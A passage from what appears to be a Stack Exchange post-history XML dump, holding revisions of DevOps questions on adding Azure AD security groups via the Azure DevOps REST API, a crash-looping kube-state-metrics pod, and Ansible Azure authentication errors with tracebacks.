&quot;https://vssps.dev.azure.com/$organizationName/_apis/graph/groups?groupDescriptors=$descr_contrib&amp;api-version=6.1-preview.1&quot;&#xD;&#xA;    $body=@&quot;&#xD;&#xA;      {&#xD;&#xA;        'origin': 'AAD'&#xD;&#xA;        'originId': '$AAD_Contributors'&#xD;&#xA;      } &#xD;&#xA;    &quot;@&#xD;&#xA;    Invoke-RestMethod -Uri $membershipUri -ContentType &quot;application/json&quot; -Body $body -headers $adoHeader -Method POST&#xD;&#xA;&#xD;&#xA;The code works for O365 groups." ContentLicense="CC BY-SA 4.0" />
  <row Id="44109" PostHistoryTypeId="1" PostId="14021" RevisionGUID="e3f15a3e-8d99-4461-b292-2d95ca136dac" CreationDate="2021-05-29T21:04:05.930" UserId="26072" Text="materialize security group for Azure Devops provisioning" ContentLicense="CC BY-SA 4.0" />
  <row Id="44110" PostHistoryTypeId="3" PostId="14021" RevisionGUID="e3f15a3e-8d99-4461-b292-2d95ca136dac" CreationDate="2021-05-29T21:04:05.930" UserId="26072" Text="&lt;azure-devops&gt;&lt;provisioning&gt;&lt;powershell&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44111" PostHistoryTypeId="5" PostId="14021" RevisionGUID="ab7a7fa0-bfd9-4f7a-9740-9a6863479313" CreationDate="2021-05-29T21:21:38.560" UserId="26072" Comment="added info about possible origins" Text="I'm creating a provisioning mechanism in Azure Devops.  &#xD;&#xA;My company works with an onPrem Active directory, that is synced to Azure Active Directory.  &#xD;&#xA;When I try to add an AAD group as member to the project; it seems like I can only materialize Office365 groups. As soon as I give the ObjectID of a security group (that was synced to aad); it will throw an error the group was not found in the backing domain.  &#xD;&#xA;Through the GUI I **can** add these synced security groups.&#xD;&#xA;&#xD;&#xA;I can't find any documentation saying that I can't use these groups.  &#xD;&#xA;I was thinking I'd have to specify the origin but I can't find the docs about it; nor does AAD or AD work. The Azure AD webpage says the source is &quot;Windows server AD&quot;.  &#xD;&#xA;Does anyone know if there is a solution for this?&#xD;&#xA;&#xD;&#xA;My code:&#xD;&#xA;&#xD;&#xA;    $membershipUri = &quot;https://vssps.dev.azure.com/$organizationName/_apis/graph/groups?groupDescriptors=$descr_contrib&amp;api-version=6.1-preview.1&quot;&#xD;&#xA;    $body=@&quot;&#xD;&#xA;      {&#xD;&#xA;        'origin': 'AAD'&#xD;&#xA;        'originId': '$AAD_Contributors'&#xD;&#xA;      } &#xD;&#xA;    &quot;@&#xD;&#xA;    Invoke-RestMethod -Uri $membershipUri -ContentType &quot;application/json&quot; -Body $body -headers $adoHeader -Method POST&#xD;&#xA;&#xD;&#xA;The code works for O365 groups." ContentLicense="CC BY-SA 4.0" />
  <row Id="44112" PostHistoryTypeId="6" PostId="14020" RevisionGUID="f878d450-a090-4d57-86a3-4c1110fadc61" CreationDate="2021-05-29T21:52:51.617" UserId="27986" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;ansible&gt;&lt;yaml&gt;&lt;ubuntu&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44113" PostHistoryTypeId="2" PostId="14022" RevisionGUID="af3c91e4-0252-469e-ac6e-1febb3776ecd" CreationDate="2021-05-29T22:41:27.357" UserId="27826" Text="&#xD;&#xA;&#xD;&#xA;    # kubectl logs  kube-state-metrics-76cd57957f-h4q87 -n monitoring &#xD;&#xA;    I0529 19:07:28.127093       1 main.go:86] Using default collectors&#xD;&#xA;    I0529 19:07:28.127733       1 main.go:98] Using all namespace&#xD;&#xA;    I0529 19:07:28.128006       1 main.go:139] metric white-blacklisting: blacklisting the following items: &#xD;&#xA;    W0529 19:07:28.128272       1 client_config.go:543] Neither --kubeconfig nor --master was specified.  Using the inClusterConfig.  This might not work.&#xD;&#xA;    I0529 19:07:28.132102       1 main.go:184] Testing communication with server&#xD;&#xA;    F0529 19:07:58.134533       1 main.go:147] Failed to create client: error while trying to communicate with apiserver: Get &quot;https://10.96.0.1:443/version?timeout=32s&quot;: dial tcp 10.96.0.1:443: i/o timeout&#xD;&#xA;&#xD;&#xA;I do have all the pods in kube-system namespace up and running.&#xD;&#xA;&#xD;&#xA;    # kubectl get pods -n kube-system&#xD;&#xA;    NAME                                      READY   STATUS    RESTARTS   AGE&#xD;&#xA;    calico-kube-controllers-86bddfcff-2blpm   1/1     Running   6          30d&#xD;&#xA;    calico-node-ckpv2                         1/1     Running   5          27d&#xD;&#xA;    calico-node-jpfwm                         1/1     Running   3          27d&#xD;&#xA;    calico-node-prbh7                         1/1     Running   1          6d6h&#xD;&#xA;    coredns-74ff55c5b-8l9bj                   1/1     Running   6          30d&#xD;&#xA;    coredns-74ff55c5b-fmlp7                   1/1     Running   6          30d&#xD;&#xA;    etcd-rockpix                              1/1     Running   6          30d&#xD;&#xA;    kube-apiserver-rockpix                    1/1     Running   9          30d&#xD;&#xA;    kube-controller-manager-rockpix           1/1     Running   9          30d&#xD;&#xA;    kube-proxy-9x7mj                          1/1     Running   0          9h&#xD;&#xA;    kube-proxy-blrcq                          1/1     Running   5          27d&#xD;&#xA;    kube-proxy-v5src                          1/1     Running   3          27d&#xD;&#xA;    kube-scheduler-rockpix                    1/1     Running   9          30d&#xD;&#xA;&#xD;&#xA;Here is the result of pod state .&#xD;&#xA;&#xD;&#xA;    # kubectl describe pod kube-state-metrics-76cd57957f-h4q87 -n monitoring &#xD;&#xA;    Name:         kube-state-metrics-76cd57957f-h4q87&#xD;&#xA;    Namespace:    monitoring&#xD;&#xA;    Priority:     0&#xD;&#xA;    Node:         rockpi/192.168.1.10&#xD;&#xA;    Start Time:   Sat, 29 May 2021 15:44:35 +0100&#xD;&#xA;    Labels:       app=kube-state-metrics&#xD;&#xA;                  pod-template-hash=76cd57957f&#xD;&#xA;    Annotations:  cni.projectcalico.org/podIP: 192.168.42.131/32&#xD;&#xA;                  cni.projectcalico.org/podIPs: 192.168.42.131/32&#xD;&#xA;    Status:       Running&#xD;&#xA;    IP:           192.168.42.131&#xD;&#xA;    IPs:&#xD;&#xA;      IP:           192.168.42.131&#xD;&#xA;    Controlled By:  ReplicaSet/kube-state-metrics-76cd57957f&#xD;&#xA;    Containers:&#xD;&#xA;      kube-state-metrics:&#xD;&#xA;        Container ID:   containerd://a1beda2985bf00b69cfb13a1f8279147f1870c4a1180b5c586cc06ebcd9784fe&#xD;&#xA;        Image:          carlosedp/kube-state-metrics:v1.9.6&#xD;&#xA;        Image ID:       docker.io/carlosedp/kube-state-metrics@sha256:0dccb8d0307e8a76dca499ecbf6b55b3780399e987da12d55d4e6bc8924821a1&#xD;&#xA;        Port:           8080/TCP&#xD;&#xA;        Host Port:      0/TCP&#xD;&#xA;        State:          Waiting&#xD;&#xA;          Reason:       CrashLoopBackOff&#xD;&#xA;        Last State:     Terminated&#xD;&#xA;          Reason:       Error&#xD;&#xA;          Exit Code:    255&#xD;&#xA;          Started:      Sat, 29 May 2021 23:35:02 +0100&#xD;&#xA;          Finished:     Sat, 29 May 2021 23:35:32 +0100&#xD;&#xA;        Ready:          False&#xD;&#xA;        Restart Count:  46&#xD;&#xA;        Environment:    &lt;none&gt;&#xD;&#xA;        Mounts:&#xD;&#xA;          /var/run/secrets/kubernetes.io/serviceaccount from prometheus-token-lpmc8 (ro)&#xD;&#xA;    Conditions:&#xD;&#xA;      Type              Status&#xD;&#xA;      Initialized       True &#xD;&#xA;      Ready             False &#xD;&#xA;      ContainersReady   False &#xD;&#xA;      PodScheduled      True &#xD;&#xA;    Volumes:&#xD;&#xA;      prometheus-token-lpmc8:&#xD;&#xA;        Type:        Secret (a volume populated by a Secret)&#xD;&#xA;        SecretName:  prometheus-token-lpmc8&#xD;&#xA;        Optional:    false&#xD;&#xA;    QoS Class:       BestEffort&#xD;&#xA;    Node-Selectors:  board=rockpi&#xD;&#xA;    Tolerations:     node.kubernetes.io/not-ready:NoExecute op=Exists for 300s&#xD;&#xA;                     node.kubernetes.io/unreachable:NoExecute op=Exists for 300s&#xD;&#xA;    Events:&#xD;&#xA;      Type     Reason   Age                     From     Message&#xD;&#xA;      ----     ------   ----                    ----     -------&#xD;&#xA;      Warning  BackOff  3m4s (x974 over 3h57m)  kubelet  Back-off restarting failed container" ContentLicense="CC BY-SA 4.0" />
  <row Id="44114" PostHistoryTypeId="1" PostId="14022" RevisionGUID="af3c91e4-0252-469e-ac6e-1febb3776ecd" CreationDate="2021-05-29T22:41:27.357" UserId="27826" Text="cannot get kube state metrics pod to run erroring with cannot communicate with apiserver" ContentLicense="CC BY-SA 4.0" />
  <row Id="44115" PostHistoryTypeId="3" PostId="14022" RevisionGUID="af3c91e4-0252-469e-ac6e-1febb3776ecd" CreationDate="2021-05-29T22:41:27.357" UserId="27826" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44116" PostHistoryTypeId="2" PostId="14023" RevisionGUID="1dfaa895-b80d-452f-bb65-57687db19e32" CreationDate="2021-05-30T00:37:51.610" UserId="27987" Text="I have followed this article https://docs.ansible.com/ansible/2.3/guide_azure.html. IN this when I used service principal it works fine but when I tried using&#xD;&#xA;&#xD;&#xA;[default]&#xD;&#xA;ad_user=XXXXX&#xD;&#xA;password=YYYYY&#xD;&#xA;subscription_id=zzzzzzz&#xD;&#xA;&#xD;&#xA;it does not work I tried using the environment variable and tried passing the parameters like this&#xD;&#xA;ansible-playbook CreateAzureVM.yml --extra-vars &quot;ad_user=xxxx password=yyyy subscription_id=zzzz&quot; -vvv&#xD;&#xA;&#xD;&#xA;but it does not work and throws this error. In fact I tried using az login but the same issue&#xD;&#xA;&#xD;&#xA;Regards&#xD;&#xA;Rajaniesh&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44117" PostHistoryTypeId="1" PostId="14023" RevisionGUID="1dfaa895-b80d-452f-bb65-57687db19e32" CreationDate="2021-05-30T00:37:51.610" UserId="27987" Text="Ansible with azure cli to create vm with azure password and user ID" ContentLicense="CC BY-SA 4.0" />
  <row Id="44118" PostHistoryTypeId="3" PostId="14023" RevisionGUID="1dfaa895-b80d-452f-bb65-57687db19e32" CreationDate="2021-05-30T00:37:51.610" UserId="27987" Text="&lt;ansible&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44119" PostHistoryTypeId="5" PostId="14023" RevisionGUID="c9b8c781-e1a6-46d2-aeeb-30c9f82766d3" CreationDate="2021-05-30T01:16:33.003" UserId="27987" Comment="added 12014 characters in body" Text="I have followed this article https://docs.ansible.com/ansible/2.3/guide_azure.html. IN this when I used service principal it works fine but when I tried using&#xD;&#xA;&#xD;&#xA;[default]&#xD;&#xA;ad_user=XXXXX&#xD;&#xA;password=YYYYY&#xD;&#xA;subscription_id=zzzzzzz&#xD;&#xA;&#xD;&#xA;it does not work I tried using the environment variable and tried passing the parameters like this&#xD;&#xA;ansible-playbook CreateAzureVM.yml --extra-vars &quot;ad_user=xxxx password=yyyy subscription_id=zzzz&quot; -vvv&#xD;&#xA;&#xD;&#xA;but it does not work and throws this error. In fact I tried using az login but the same issue&#xD;&#xA;&#xD;&#xA;The full traceback is:&#xD;&#xA;Traceback (most recent call last):&#xD;&#xA;  File &quot;/usr/local/lib/python3.6/site-packages/msrestazure/azure_active_directory.py&quot;, line 322, in set_token&#xD;&#xA;    self.id&#xD;&#xA;  File &quot;/usr/local/lib/python3.6/site-packages/adal/authentication_context.py&quot;, line 164, in acquire_token_with_username_password&#xD;&#xA;    return self._acquire_token(token_func)&#xD;&#xA;  File &quot;/usr/local/lib/python3.6/site-packages/adal/authentication_context.py&quot;, line 128, in _acquire_token&#xD;&#xA;    return token_func(self)&#xD;&#xA;  File &quot;/usr/local/lib/python3.6/site-packages/adal/authentication_context.py&quot;, line 162, in token_func&#xD;&#xA;    return token_request.get_token_with_username_password(username, password)&#xD;&#xA;  File &quot;/usr/local/lib/python3.6/site-packages/adal/token_request.py&quot;, line 285, in get_token_with_username_password&#xD;&#xA;    token = self._get_token_username_password_federated(username, password)&#xD;&#xA;  File &quot;/usr/local/lib/python3.6/site-packages/adal/token_request.py&quot;, line 258, in _get_token_username_password_federated&#xD;&#xA;    username, password)&#xD;&#xA;  File &quot;/usr/local/lib/python3.6/site-packages/adal/token_request.py&quot;, line 210, in _perform_username_password_for_access_token_exchange&#xD;&#xA;    username, password)&#xD;&#xA;  File &quot;/usr/local/lib/python3.6/site-packages/adal/token_request.py&quot;, line 197, in _perform_wstrust_exchange&#xD;&#xA;    result = wstrust.acquire_token(username, password)&#xD;&#xA;  File &quot;/usr/local/lib/python3.6/site-packages/adal/wstrust_request.py&quot;, line 131, in acquire_token&#xD;&#xA;    raise AdalError('Unsupported wstrust endpoint version. Current support version is wstrust2005 or wstrust13.')&#xD;&#xA;adal.adal_error.AdalError: Unsupported wstrust endpoint version. Current support version is wstrust2005 or wstrust13.&#xD;&#xA;&#xD;&#xA;During handling of the above exception, another exception occurred:&#xD;&#xA;&#xD;&#xA;Traceback (most recent call last):&#xD;&#xA;  File &quot;/home/azureuser/.ansible/tmp/ansible-tmp-1622072557.7625957-6688-279219788498354/AnsiballZ_azure_rm_resourcegroup.py&quot;, line 100, in &lt;module&gt;&#xD;&#xA;    _ansiballz_main()&#xD;&#xA;  File &quot;/home/azureuser/.ansible/tmp/ansible-tmp-1622072557.7625957-6688-279219788498354/AnsiballZ_azure_rm_resourcegroup.py&quot;, line 92, in _ansiballz_main&#xD;&#xA;    invoke_module(zipped_mod, temp_path, ANSIBALLZ_PARAMS)&#xD;&#xA;  File &quot;/home/azureuser/.ansible/tmp/ansible-tmp-1622072557.7625957-6688-279219788498354/AnsiballZ_azure_rm_resourcegroup.py&quot;, line 41, in invoke_module&#xD;&#xA;    run_name='__main__', alter_sys=True)&#xD;&#xA;  File &quot;/usr/lib64/python3.6/runpy.py&quot;, line 205, in run_module&#xD;&#xA;    return _run_module_code(code, init_globals, run_name, mod_spec)&#xD;&#xA;  File &quot;/usr/lib64/python3.6/runpy.py&quot;, line 96, in _run_module_code&#xD;&#xA;    mod_name, mod_spec, pkg_name, script_name)&#xD;&#xA;  File &quot;/usr/lib64/python3.6/runpy.py&quot;, line 85, in _run_code&#xD;&#xA;    exec(code, run_globals)&#xD;&#xA;  File &quot;/tmp/ansible_azure_rm_resourcegroup_payload_ca16qkvc/ansible_azure_rm_resourcegroup_payload.zip/ansible_collections/azure/azcollection/plugins/modules/azure_rm_resourcegroup.py&quot;, line 286, in &lt;module&gt;&#xD;&#xA;  File &quot;/tmp/ansible_azure_rm_resourcegroup_payload_ca16qkvc/ansible_azure_rm_resourcegroup_payload.zip/ansible_collections/azure/azcollection/plugins/modules/azure_rm_resourcegroup.py&quot;, line 282, in main&#xD;&#xA;  File &quot;/tmp/ansible_azure_rm_resourcegroup_payload_ca16qkvc/ansible_azure_rm_resourcegroup_payload.zip/ansible_collections/azure/azcollection/plugins/modules/azure_rm_resourcegroup.py&quot;, line 164, in __init__&#xD;&#xA;  File &quot;/tmp/ansible_azure_rm_resourcegroup_payload_ca16qkvc/ansible_azure_rm_resourcegroup_payload.zip/ansible_collections/azure/azcollection/plugins/module_utils/azure_rm_common.py&quot;, line 449, in __init__&#xD;&#xA;  File &quot;/tmp/ansible_azure_rm_resourcegroup_payload_ca16qkvc/ansible_azure_rm_resourcegroup_payload.zip/ansible_collections/azure/azcollection/plugins/module_utils/azure_rm_common.py&quot;, line 1468, in __init__&#xD;&#xA;  File &quot;/usr/local/lib/python3.6/site-packages/msrestazure/azure_active_directory.py&quot;, line 308, in __init__&#xD;&#xA;    self.set_token()&#xD;&#xA;  File &quot;/usr/local/lib/python3.6/site-packages/msrestazure/azure_active_directory.py&quot;, line 326, in set_token&#xD;&#xA;    raise_with_traceback(AuthenticationError, &quot;&quot;, err)&#xD;&#xA;  File &quot;/home/azureuser/.local/lib/python3.6/site-packages/msrest/exceptions.py&quot;, line 51, in raise_with_traceback&#xD;&#xA;    raise error.with_traceback(exc_traceback)&#xD;&#xA;  File &quot;/usr/local/lib/python3.6/site-packages/msrestazure/azure_active_directory.py&quot;, line 322, in set_token&#xD;&#xA;    self.id&#xD;&#xA;  File &quot;/usr/local/lib/python3.6/site-packages/adal/authentication_context.py&quot;, line 164, in acquire_token_with_username_password&#xD;&#xA;    return self._acquire_token(token_func)&#xD;&#xA;  File &quot;/usr/local/lib/python3.6/site-packages/adal/authentication_context.py&quot;, line 128, in _acquire_token&#xD;&#xA;    return token_func(self)&#xD;&#xA;  File &quot;/usr/local/lib/python3.6/site-packages/adal/authentication_context.py&quot;, line 162, in token_func&#xD;&#xA;    return token_request.get_token_with_username_password(username, password)&#xD;&#xA;  File &quot;/usr/local/lib/python3.6/site-packages/adal/token_request.py&quot;, line 285, in get_token_with_username_password&#xD;&#xA;    token = self._get_token_username_password_federated(username, password)&#xD;&#xA;  File &quot;/usr/local/lib/python3.6/site-packages/adal/token_request.py&quot;, line 258, in _get_token_username_password_federated&#xD;&#xA;    username, password)&#xD;&#xA;  File &quot;/usr/local/lib/python3.6/site-packages/adal/token_request.py&quot;, line 210, in _perform_username_password_for_access_token_exchange&#xD;&#xA;    username, password)&#xD;&#xA;  File &quot;/usr/local/lib/python3.6/site-packages/adal/token_request.py&quot;, line 197, in _perform_wstrust_exchange&#xD;&#xA;    result = wstrust.acquire_token(username, password)&#xD;&#xA;  File &quot;/usr/local/lib/python3.6/site-packages/adal/wstrust_request.py&quot;, line 131, in acquire_token&#xD;&#xA;    raise AdalError('Unsupported wstrust endpoint version. Current support version is wstrust2005 or wstrust13.')&#xD;&#xA;msrest.exceptions.AuthenticationError: , AdalError: Unsupported wstrust endpoint version. Current support version is wstrust2005 or wstrust13.&#xD;&#xA;fatal: [localhost]: FAILED! =&gt; {&#xD;&#xA;    &quot;changed&quot;: false,&#xD;&#xA;    &quot;module_stderr&quot;: &quot;Traceback (most recent call last):\n  File \&quot;/usr/local/lib/python3.6/site-packages/msrestazure/azure_active_directory.py\&quot;, line 322, in set_token\n    self.id\n  File \&quot;/usr/local/lib/python3.6/site-packages/adal/authentication_context.py\&quot;, line 164, in acquire_token_with_username_password\n    return self._acquire_token(token_func)\n  File \&quot;/usr/local/lib/python3.6/site-packages/adal/authentication_context.py\&quot;, line 128, in _acquire_token\n    return token_func(self)\n  File \&quot;/usr/local/lib/python3.6/site-packages/adal/authentication_context.py\&quot;, line 162, in token_func\n    return token_request.get_token_with_username_password(username, password)\n  File \&quot;/usr/local/lib/python3.6/site-packages/adal/token_request.py\&quot;, line 285, in get_token_with_username_password\n    token = self._get_token_username_password_federated(username, password)\n  File \&quot;/usr/local/lib/python3.6/site-packages/adal/token_request.py\&quot;, line 258, in _get_token_username_password_federated\n    username, password)\n  File \&quot;/usr/local/lib/python3.6/site-packages/adal/token_request.py\&quot;, line 210, in _perform_username_password_for_access_token_exchange\n    username, password)\n  File \&quot;/usr/local/lib/python3.6/site-packages/adal/token_request.py\&quot;, line 197, in _perform_wstrust_exchange\n    result = wstrust.acquire_token(username, password)\n  File \&quot;/usr/local/lib/python3.6/site-packages/adal/wstrust_request.py\&quot;, line 131, in acquire_token\n    raise AdalError('Unsupported wstrust endpoint version. Current support version is wstrust2005 or wstrust13.')\nadal.adal_error.AdalError: Unsupported wstrust endpoint version. Current support version is wstrust2005 or wstrust13.\n\nDuring handling of the above exception, another exception occurred:\n\nTraceback (most recent call last):\n  File \&quot;/home/azureuser/.ansible/tmp/ansible-tmp-1622072557.7625957-6688-279219788498354/AnsiballZ_azure_rm_resourcegroup.py\&quot;, line 100, in &lt;module&gt;\n    _ansiballz_main()\n  File \&quot;/home/azureuser/.ansible/tmp/ansible-tmp-1622072557.7625957-6688-279219788498354/AnsiballZ_azure_rm_resourcegroup.py\&quot;, line 92, in _ansiballz_main\n    invoke_module(zipped_mod, temp_path, ANSIBALLZ_PARAMS)\n  File \&quot;/home/azureuser/.ansible/tmp/ansible-tmp-1622072557.7625957-6688-279219788498354/AnsiballZ_azure_rm_resourcegroup.py\&quot;, line 41, in invoke_module\n    run_name='__main__', alter_sys=True)\n  File \&quot;/usr/lib64/python3.6/runpy.py\&quot;, line 205, in run_module\n    return _run_module_code(code, init_globals, run_name, mod_spec)\n  File \&quot;/usr/lib64/python3.6/runpy.py\&quot;, line 96, in _run_module_code\n    mod_name, mod_spec, pkg_name, script_name)\n  File \&quot;/usr/lib64/python3.6/runpy.py\&quot;, line 85, in _run_code\n    exec(code, run_globals)\n  File \&quot;/tmp/ansible_azure_rm_resourcegroup_payload_ca16qkvc/ansible_azure_rm_resourcegroup_payload.zip/ansible_collections/azure/azcollection/plugins/modules/azure_rm_resourcegroup.py\&quot;, line 286, in &lt;module&gt;\n  File \&quot;/tmp/ansible_azure_rm_resourcegroup_payload_ca16qkvc/ansible_azure_rm_resourcegroup_payload.zip/ansible_collections/azure/azcollection/plugins/modules/azure_rm_resourcegroup.py\&quot;, line 282, in main\n  File \&quot;/tmp/ansible_azure_rm_resourcegroup_payload_ca16qkvc/ansible_azure_rm_resourcegroup_payload.zip/ansible_collections/azure/azcollection/plugins/modules/azure_rm_resourcegroup.py\&quot;, line 164, in __init__\n  File \&quot;/tmp/ansible_azure_rm_resourcegroup_payload_ca16qkvc/ansible_azure_rm_resourcegroup_payload.zip/ansible_collections/azure/azcollection/plugins/module_utils/azure_rm_common.py\&quot;, line 449, in __init__\n  File \&quot;/tmp/ansible_azure_rm_resourcegroup_payload_ca16qkvc/ansible_azure_rm_resourcegroup_payload.zip/ansible_collections/azure/azcollection/plugins/module_utils/azure_rm_common.py\&quot;, line 1468, in __init__\n  File \&quot;/usr/local/lib/python3.6/site-packages/msrestazure/azure_active_directory.py\&quot;, line 308, in __init__\n    self.set_token()\n  File \&quot;/usr/local/lib/python3.6/site-packages/msrestazure/azure_active_directory.py\&quot;, line 326, in set_token\n    raise_with_traceback(AuthenticationError, \&quot;\&quot;, err)\n  File \&quot;/home/azureuser/.local/lib/python3.6/site-packages/msrest/exceptions.py\&quot;, line 51, in raise_with_traceback\n    raise error.with_traceback(exc_traceback)\n  File \&quot;/usr/local/lib/python3.6/site-packages/msrestazure/azure_active_directory.py\&quot;, line 322, in set_token\n    self.id\n  File \&quot;/usr/local/lib/python3.6/site-packages/adal/authentication_context.py\&quot;, line 164, in acquire_token_with_username_password\n    return self._acquire_token(token_func)\n  File \&quot;/usr/local/lib/python3.6/site-packages/adal/authentication_context.py\&quot;, line 128, in _acquire_token\n    return token_func(self)\n  File \&quot;/usr/local/lib/python3.6/site-packages/adal/authentication_context.py\&quot;, line 162, in token_func\n    return token_request.get_token_with_username_password(username, password)\n  File \&quot;/usr/local/lib/python3.6/site-packages/adal/token_request.py\&quot;, line 285, in get_token_with_username_password\n    token = self._get_token_username_password_federated(username, password)\n  File \&quot;/usr/local/lib/python3.6/site-packages/adal/token_request.py\&quot;, line 258, in _get_token_username_password_federated\n    username, password)\n  File \&quot;/usr/local/lib/python3.6/site-packages/adal/token_request.py\&quot;, line 210, in _perform_username_password_for_access_token_exchange\n    username, password)\n  File \&quot;/usr/local/lib/python3.6/site-packages/adal/token_request.py\&quot;, line 197, in _perform_wstrust_exchange\n    result = wstrust.acquire_token(username, password)\n  File \&quot;/usr/local/lib/python3.6/site-packages/adal/wstrust_request.py\&quot;, line 131, in acquire_token\n    raise AdalError('Unsupported wstrust endpoint version. Current support version is wstrust2005 or wstrust13.')\nmsrest.exceptions.AuthenticationError: , AdalError: Unsupported wstrust endpoint version. Current support version is wstrust2005 or wstrust13.\n&quot;,&#xD;&#xA;    &quot;module_stdout&quot;: &quot;&quot;,&#xD;&#xA;    &quot;msg&quot;: &quot;MODULE FAILURE\nSee stdout/stderr for the exact error&quot;,&#xD;&#xA;    &quot;rc&quot;: 1&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;Regards&#xD;&#xA;Rajaniesh&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
</posthistory>